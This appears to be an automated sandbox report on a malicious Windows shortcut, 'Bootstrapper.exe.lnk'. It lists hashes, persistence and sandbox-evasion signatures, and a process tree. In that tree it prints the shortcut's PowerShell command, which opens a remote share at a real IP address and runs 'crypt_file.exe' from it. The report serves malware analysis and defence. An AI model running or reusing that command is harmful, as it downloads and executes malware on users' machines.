Analysis

  • max time kernel
    9s
  • max time network
    22s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    21-12-2024 14:21

General

  • Target

    Bootstrapper.exe.lnk

  • Size

    1KB

  • MD5

    bd498131945d5e2ff248835f82107eee

  • SHA1

    aa5eaa5952c2775c9d6328529245b4e6d29cffc8

  • SHA256

    9b01625fb72ba8c3c840ab46d1eaebcff87a0f109f36c6744ba191ee82784981

  • SHA512

    9c0999250b4257a8d2bb2ed945bdbb59eaaa6c5148b3e3224dfa3914d758313f047d2624045f22480755791c76874c0484c8507c7d11c997d7208fa925069cbf

Score
8/10

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 36 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 37 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Bootstrapper.exe.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "explorer '\\62.60.226.24@80\file\'"; Start-Sleep -Seconds 4; Stop-Process -Name explorer; \\62.60.226.24@80\file\crypt_file.exe
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5188
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe" \\62.60.226.24@80\file\
        3⤵
          PID:1136
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:1928
    • C:\Windows\explorer.exe
      explorer.exe
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:60
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4372
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
      1⤵
      • Suspicious use of SetWindowsHookEx
      PID:3132
    • C:\Windows\explorer.exe
      explorer.exe
      1⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2172
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
        PID:1856
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
        1⤵
          PID:2372
        • C:\Windows\explorer.exe
          explorer.exe
          1⤵
            PID:4924
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
              PID:4376
            • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
              "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
              1⤵
                PID:1704
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
                1⤵
                  PID:3320
                • C:\Windows\explorer.exe
                  explorer.exe
                  1⤵
                    PID:2948
                  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                    1⤵
                      PID:5868
                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                      1⤵
                        PID:2012
                      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
                        1⤵
                          PID:460
                        • C:\Windows\explorer.exe
                          explorer.exe
                          1⤵
                            PID:6028

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\1033\StructuredQuerySchema.bin

                            Filesize

                            414KB

                            MD5

                            ab79489e9704fc9cc9d8bee4f8e17ec5

                            SHA1

                            b2e19a89b43d537bb5b02ee9ca2418f027259c1e

                            SHA256

                            4d71760d6f3159849068b635ab4c39b9b747d899f03670533971a62d262c264e

                            SHA512

                            60d11ee023b9a045c4b59b88311f001fcf4856e27837a1ffd6ecab0203e5199ee077d85c5217e0f0b94e0bff93b14c3680816b6fbf9d42ee2eff5c23d9a13edd

                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

                            Filesize

                            28KB

                            MD5

                            5d927d3efce65299faada0052f6d7bc9

                            SHA1

                            b09c7c5cce45be321f709faa4d54af64e2f5358a

                            SHA256

                            46838d5af24e2f7504cde3b8fc83b087db2d92fab4fd5c6f94a4f8d697886116

                            SHA512

                            eeb4c17c311e9ddfd7af4c8193abf46974735f242559427a9f31f701160deda3945fbb881f4fabde5866882f4dc2a9c3ed618692cc1ce236b4f569092361d8ef

                          • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

                            Filesize

                            2KB

                            MD5

                            f1102f96719fa28465e0af1466dcec4b

                            SHA1

                            a6927c7d33c6bfbcc4fef94f01f884f396a62d97

                            SHA256

                            a97b07822a417580a37bd551cfb1e71213d473b61adb4d9900c7be9337b8a38d

                            SHA512

                            154881b2fd96da477110402402eaaeeb2c5df5303d2aaf466a1d0f3ef502339c59f26b31f4cd522c73c1cb23c2e05f582950129f11a94795caa4a08c05495ba0

                          • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e8509006-6b08-45f2-a167-ca4062084223}\Apps.ft

                            Filesize

                            41KB

                            MD5

                            23910e25bbd723c35c6302dfad660874

                            SHA1

                            6e3aeedae807221c0294d399540c3cbf3f5482df

                            SHA256

                            b8374a4dfdb67379ad2dbcbc8ac022355aa71a6f665784d510b2ff7a8df15163

                            SHA512

                            83ef8220ea49abe3ca8d200944fa70a3489a83a11d363b38861a5c6c0df610cf5f3e1de52d010397f068da9dc00a0c5a340e461ab9a4a3c8932a95aec855ee35

                          • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{e8509006-6b08-45f2-a167-ca4062084223}\Apps.index

                            Filesize

                            1.0MB

                            MD5

                            ac0db37743b95375d20d717987e96a3d

                            SHA1

                            6b4421bdfea386d2cdfd089db76fbb419fb65d34

                            SHA256

                            bf7e9ffa4733d214ab48493802e5bcdc878f8d32688c0379255a5bfdae3850d5

                            SHA512

                            ad5eb1a11613176342cb4c943da71ef8bb250437dcc806d0f1d40955934be33de21a4e061f812bf7d407e42671a64a84e541e1f2cb3a012bbc6e8ae016e5f9a9

                          • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133792645504486257.txt

                            Filesize

                            82KB

                            MD5

                            5c5a906564f3c1475227cc51ccb01b49

                            SHA1

                            dd509f93ae2e35a57a70f583b2bf64c35457113b

                            SHA256

                            d44063663cfc33224c0fb3925e56f45b6c7f758bdd6c7b9bdc0a2d78b54a4659

                            SHA512

                            4fa7e7e40162898fc70eaa9cfdc9343cf54f09192108e200f6b9013e835ffece729889ae9d391d60074ba6ff6ad510e7ad722c48c6bd902fda82312822951bff

                          • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\HNYSIEDD\microsoft.windows[1].xml

                            Filesize

                            96B

                            MD5

                            627ce6b7da9c739fa59d4a7179964387

                            SHA1

                            711577d487daff202acf12e2a68d9fd0fe006c58

                            SHA256

                            df06d1740454e0cc3cb55cf27b5d8b11d71f5eec3bd7b37e5233029e24277709

                            SHA512

                            0434cd5027a993062569ff6d1ecc26bf4364e244aaa945232450eb298d14f3b22ff406dbab8dae48dd2fa0de71bc29aaef0085632427e29d2ffb1a649ea10cbd

                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yedqg22r.s1i.ps1

                            Filesize

                            60B

                            MD5

                            d17fe0a3f47be24a6453e9ef58c94641

                            SHA1

                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                            SHA256

                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                            SHA512

                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                          • memory/1704-29-0x00000262F5000000-0x00000262F5100000-memory.dmp

                            Filesize

                            1024KB

                          • memory/1704-28-0x00000262F5000000-0x00000262F5100000-memory.dmp

                            Filesize

                            1024KB

                          • memory/1704-30-0x00000262F5000000-0x00000262F5100000-memory.dmp

                            Filesize

                            1024KB

                          • memory/1704-52-0x00000262F6870000-0x00000262F6890000-memory.dmp

                            Filesize

                            128KB

                          • memory/1704-56-0x00000262F5DC0000-0x00000262F5DE0000-memory.dmp

                            Filesize

                            128KB

                          • memory/1704-37-0x00000262F5DA0000-0x00000262F5DC0000-memory.dmp

                            Filesize

                            128KB

                          • memory/1704-75-0x00000262F96F0000-0x00000262F97F0000-memory.dmp

                            Filesize

                            1024KB

                          • memory/2012-161-0x00000160033C0000-0x00000160033E0000-memory.dmp

                            Filesize

                            128KB

                          • memory/2012-174-0x0000016003400000-0x0000016003420000-memory.dmp

                            Filesize

                            128KB

                          • memory/2012-179-0x00000160033E0000-0x0000016003400000-memory.dmp

                            Filesize

                            128KB

                          • memory/2012-193-0x0000016016510000-0x0000016016610000-memory.dmp

                            Filesize

                            1024KB

                          • memory/2012-246-0x00000160167D0000-0x00000160168D0000-memory.dmp

                            Filesize

                            1024KB

                          • memory/2948-143-0x00000000046A0000-0x00000000046A1000-memory.dmp

                            Filesize

                            4KB

                          • memory/4924-27-0x0000000002FC0000-0x0000000002FC1000-memory.dmp

                            Filesize

                            4KB

                          • memory/5188-2-0x00007FFAF8533000-0x00007FFAF8535000-memory.dmp

                            Filesize

                            8KB

                          • memory/5188-22-0x00007FFAF8530000-0x00007FFAF8FF2000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5188-15-0x00007FFAF8530000-0x00007FFAF8FF2000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5188-14-0x00007FFAF8530000-0x00007FFAF8FF2000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5188-13-0x00007FFAF8530000-0x00007FFAF8FF2000-memory.dmp

                            Filesize

                            10.8MB

                          • memory/5188-12-0x0000021D91650000-0x0000021D91672000-memory.dmp

                            Filesize

                            136KB